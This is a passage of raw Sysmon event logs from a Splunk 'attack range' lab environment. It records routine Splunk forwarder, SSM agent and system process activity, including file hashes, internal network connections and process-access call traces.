SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=C1C4E854B8E5405DB2424E4A1394340A,SHA256=BDFD40E42D93BC72E093A5162498D0EDA9428E6CBC498F40EE8B044890884199,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015221Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:02.144{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=489EFA1910A0C3B3C95738E07BA91B3B,SHA256=7397CA2FBBF3C71A7A364D2FFC46E7F0DECFEBA131F224FECE2D11078D284760,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:01.355{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59402-false10.0.1.12-8000- 23542300x800000000000000047564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:03.215{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D7666531380E40BC79FAFBF041E5B919,SHA256=9BC729FD4A124EA561AA0D26885C1DEA47FADFF61892EB4BDD961862EFCF9209,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015225Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:03.366{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-038MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015224Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:03.146{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5708E25F2FACF50196344B216F1F2B1E,SHA256=15521F16ED54555AB20C3628E07A99D21FFF812D77D95F6E3A95FF0563BDCB47,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:04.231{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=57AAEB8AEF9C85DBE2A378B81BCC6B4B,SHA256=DCAC1C2D4DA135853A5A46129539F5715D18F2F515D5E075F3EA8A01B71D8CD4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015226Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:04.178{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=97351D69D30782E695CC5D1E6D4938D8,SHA256=343A1BF156486614C354F58B1EA8D2D9D597BAADBAED7DDE65677D2FBBAFD276,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:05.247{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=185294CF20EBF20C93B1A3E5A233E783,SHA256=9AC53D3C6F4C0A448CFA7663362CAFCD5B4AB696CEF7E5ED6AFCAA235825F947,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015227Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:05.194{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0559E0BF2D875E8BE754902DD7F5454B,SHA256=2AD73DD02ACB002A2D86FE33FC62DD3FC8A8D1558F2EE00309E695EEA0D8F563,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:06.262{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D49A515F4FCFC450E477203C09371D75,SHA256=290E8ECC264F26209BDD3612DBBFC3A774FE7D126FE77C7D9FC6993BA17B3042,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015229Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:04.534{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50211-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015228Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:06.209{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A4D4212A859638F9461466A70A11D6EC,SHA256=8D8D8F6CA76A8466C7F806058D8923E0C86D257BBFE6CFFDDDA2170AE018C46B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:07.278{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9519723C7CF25DC1FF95A4DCCCA172E4,SHA256=8899A65553B837AB2A21DB22EFFD5B136ABC6CB58258B2A71155BE1478ED2D5F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015230Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:07.225{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B42B10DA648580562A1D08074694E5E9,SHA256=967B05072585B2DA513703BC3FFF4062E3EB651707A2CADAB652FC682C8B2F9D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:06.370{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59403-false10.0.1.12-8000- 23542300x800000000000000047570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:08.450{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8B06B9EA43FF0D7B930AFFFBFD5C0B21,SHA256=00CC8A103FDC78A49082F37D1933CD17F8B88FB935FA2DB4B9AEA86EDEF8E15A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015231Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:08.272{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A6016C70C4D530A80AB74244931FCC1,SHA256=18A2D47E1F5EFE436F297EA949AF4AC3206B248DCDCB016D797AA519DF6F309D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:09.481{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C2E2E2C8EB87FC319FE75C0A67EEDEB5,SHA256=A270BB7CBB648C640889CF0ABACE65A877C5DA9B7468727D2DB6C95725320B1D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015232Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:09.272{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=623C2668CE71686E7D57B38DFB896011,SHA256=A0C5039F23DD491CFE88D5FE2CE95F6505335993EFAEB12448D4C96E456C072B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:10.481{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=04D264138F5B1A9B07DA02226DCA474A,SHA256=BBA45CCF7BABCED8DA9837650DC9A1F9AC1CBB804023952457F022984F98B25A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015233Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:10.272{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0EA6A37B11F02789E23ABAF1272C7F22,SHA256=4B08403BCA80CEBAC1677E9375622BB37F134214BCE49A3AFABE495D217D7CBD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:11.506{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E3FB14FAABEC2D7BA6E91D96FECCA900,SHA256=7D1F187102F3EDB05C9FC7E6A19B4526793D14BF873CCBF2AA263880C6F6D88C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015234Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:11.287{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=46BFD5C25F5B08242381E682D0D3C26D,SHA256=D07284CE9FA373EBF3B3EA292EA2D0EC88310B96BDE2F7B35CDCBF3836D8CFBB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:12.568{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F66DC8D0ED9AAA78F244BDD9196C61D7,SHA256=FFCF257DE3E9657973DE9CAFE1B0C2CF3E7C407E04ABBFF3AD2439EC55947E41,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015236Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:12.350{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D86890496DA2BF2EEE5FD95EF4A1DB82,SHA256=FE6ACFE51838F151D1830BD38DC590CF13A419EAEBCE75C44CC03004D80FEAF9,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015235Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:10.377{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50212-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:13.631{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1801CC3837ABCF3EA232669A9153DEAE,SHA256=BADB2D8FEFD71CCA6B58972599D5A94CF6AC696071D48CB5980BA7210A7D9DD9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015237Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:13.365{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B20A372B1C8FF1B97CB40538FC67AA5C,SHA256=CF95ACA08A144D2C5C72063341A0392A1AFFC67BE6426FBADF63613BF8B7DD08,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:14.803{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D39D58A41B7A3D49F7D014A1DE5ABE0D,SHA256=797AD340FB494588B30BB38F712226C41657222C4B82CCD1F11BCEB0EF9E82CE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015238Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:14.381{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=77C683FB586239D89F3DC5FC45F35E01,SHA256=E3D319645E0FBA6419937D0EA8A7D65E4981878D4E3FEE56A4A326E7964189F6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:15.943{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=450B245A4250A4A6B1DAB07591FE9ADF,SHA256=149959429EAB20C775186A99AE544CF4084B3C919EFCADC9BF80998668BCA043,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015239Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:15.412{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=87D604E445CB4D5A3A61FD5252F62EBF,SHA256=2ECB9B6DDCC5A7B8C08075942DA4CB7A28A9DB4275D07ED99B4BD02B7ABB56DA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:16.959{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C44BFE3CE08272219C7EAA72FC16FE61,SHA256=51806D67F8B5CDB44AFD5A7D9C2F6A1DA5687851E76B2E013FAB59FBFC54E5D9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015240Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:16.475{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2D3F59DCB1894EE0ED0CA56D68D633A2,SHA256=57BE86A56FA20560B97407030AF7ADB10A11A385D8D66F42DC20EA458028715F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:12.411{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59404-false10.0.1.12-8000- 23542300x800000000000000047590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.975{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BCC26BBD1F34A9E0CE1E38634A722B51,SHA256=55A3FA38DE739B5A9B03D7BDFD338FB89FD5CB5AB4581EDCDE229A78B1D8B85B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015242Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:17.506{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=064CBC891629820AFDBB57D3F6A3C3A2,SHA256=B4B0377FBD9D689BA099D2FCD350A2F6710E6BCF4A85891E2C1300F36D086972,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.693{7BD73061-7121-613B-1F0B-00000000F001}67241576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.381{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7121-613B-1F0B-00000000F001}6724C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.381{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.381{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.381{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.381{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.381{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7121-613B-1F0B-00000000F001}6724C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.381{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7121-613B-1F0B-00000000F001}6724C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program 